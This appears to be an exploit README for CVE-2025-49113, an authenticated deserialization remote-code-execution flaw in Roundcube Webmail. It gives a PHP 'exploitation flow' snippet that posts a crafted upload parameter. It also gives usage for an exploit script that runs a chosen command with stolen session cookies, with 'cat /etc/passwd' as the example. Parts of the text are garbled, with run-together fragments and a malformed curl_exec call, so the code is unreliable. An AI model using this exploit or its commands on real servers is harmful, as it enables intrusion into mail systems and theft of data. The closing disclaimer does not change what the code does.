
CVE-2025-49113 - Roundcube Remote Code Execution
CVE-2025-49113 is a critical insecure deserialization vulnerability in Roundcube Webmail that enables authenticated remote code execution. The vulnerability stems from improper handling of serialized PHP objects during file upload operations.
program/steps/mail/attach.inc_file parameter metadata without proper validation_form parameterfilename parameter_form parametersystem() function for shell command execution// Simplified exploitation flow
$target_url = $base_url . "?_task=mail&_action=upload&_form=injected_session_data";
$post_data = [
'_file' => '{"name":"malicious_object_gadget","path":"..."}',
'file' => curl_file_create('fake.png', 'image/png', 'exploit.png')
];
$response = curl_exec($target_url, $post_data);
// Vulnerable deserialization occurs in attach.inc processing
// Gadget chain triggers command execution: system($_POST['cmd']);
php CVE-2025-49113-exploit_cookies.php <url> <cookies> <command>
php CVE-2025-49113-exploit_cookies.php \
https://mail.example.com/roundcube/ \
"roundcube_sessid=abc123; roundcube_sessauth=xyz456" \
"cat /etc/passwd"
This information is provided for educational purposes only. Unauthorized testing against systems without explicit permission is illegal. Always obtain proper authorization before conducting security assessments. The authors and publishers assume no responsibility for any misuse of this information.
| Parameter | Description | Example |
|---|
<url> | Base URL of Roundcube installation | https://mail.example.com/roundcube/ |
<cookies> | Valid session cookies | roundcube_sessid=abc123; roundcube_sessauth=xyz456 |
<command> | OS command to execute | id or whoami |